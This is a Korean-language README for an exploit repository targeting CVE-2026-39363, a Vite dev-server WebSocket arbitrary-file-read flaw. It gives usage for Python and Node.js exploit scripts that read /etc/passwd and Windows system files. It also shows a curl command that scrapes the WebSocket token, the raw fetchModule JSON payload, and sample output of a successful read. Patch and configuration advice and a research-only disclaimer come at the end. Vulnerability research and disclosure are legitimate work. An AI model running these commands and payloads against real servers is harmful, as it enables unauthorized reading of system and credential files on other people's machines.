
CVE-2026-39363에 대한 익스플로잇으로, Vite Dev Server WebSocket 임의 파일 읽기 취약점이며, 자동화된 공격을 위한 Python 및 Node.js 스크립트와 수동 단계를 포함합니다.
| 속성 | 정보 |
|---|
| CVE ID | CVE-2026-39363 |
| GHSA ID | GHSA-p9ff-h696-f583 |
| 취약점 유형 | Arbitrary File Read (임의 파일 읽기) |
| 영향 컴포넌트 | Vite Dev Server |
| 영향 버전 | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| CVSS 점수 | High |
| 수정 버전 | Vite >= 6.2.3 |
Vite Dev Server의 WebSocket fetchModule RPC 호출에 보안 검사 우회 취약점이 존재합니다.
취약점 코드 위치: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// 핵심 취약점 지점: URL이 file:// 이거나 importer가 없을 때
// isFileServingAllowed 검사 없이 직접 resolveId를 호출합니다!
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...계속 처리 후 파일 내용 반환
}
┌─────────────────────────────────────────────────────────────────┐
│ HTTP 요청 경로 (보안 검사 있음) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOCKED │
│ (server.fs.allow 검사) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ WebSocket 요청 경로 (검사 우회) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> 직접 resolveId │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> fs.allow 설정에 따라 결정 │
│ │ │
│ ▼ │
│ 파일 내용 반환 성공 (fs.allow가 허용하는 경우) │
└─────────────────────────────────────────────────────────────────┘
HTTP 경로: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed 다중 검사 통과
WebSocket 경로:
fetchModule 함수는 isFileServingAllowed를 호출하지 않음loadAndTransform의 isFileLoadingAllowed는 여전히 유효server.fs.allow 설정이 느슨하면 임의 파일을 읽을 수 있음--host 사용)fs.allow: ['..'] - 상위 디렉터리 읽기 가능fs.allow: ['C:/'] - 전체 C 드라이브 읽기 가능fs.strict: false - 완전히 무제한/@vite/client 접근을 통해)# 저장소 클론
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# 의존성 설치
npm install
# Vite Dev Server 시작 (느슨한 설정으로 취약점 데모)
npm run dev
# 기본 사용법 (포트 자동 감지)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# 프로젝트 외부 파일 읽기
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# 토큰 지정
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# wsToken 획득
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# POC 실행
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # 취약점 분석 문서
├── exp.py # Python exploit 스크립트
├── poc.js # Node.js POC
├── vite.config.js # Vite 설정 파일 (데모용)
├── package.json # 프로젝트 설정
├── src/ # 소스 코드 디렉터리
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # 정적 리소스
└── index.html # 진입 HTML
npm update vite
# 또는
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // 프로젝트 루트 디렉터리만 허용
}
}
})
--host 사용으로 서비스 노출 회피이 프로젝트는 보안 연구 및 교육 목적으로만 사용됩니다. 이 취약점 악용 코드를 불법 활동에 사용하지 마십시오. 이 코드를 테스트하기 전에 대상 시스템 소유자의 명시적 승인을 받았는지 확인하십시오.
MIT License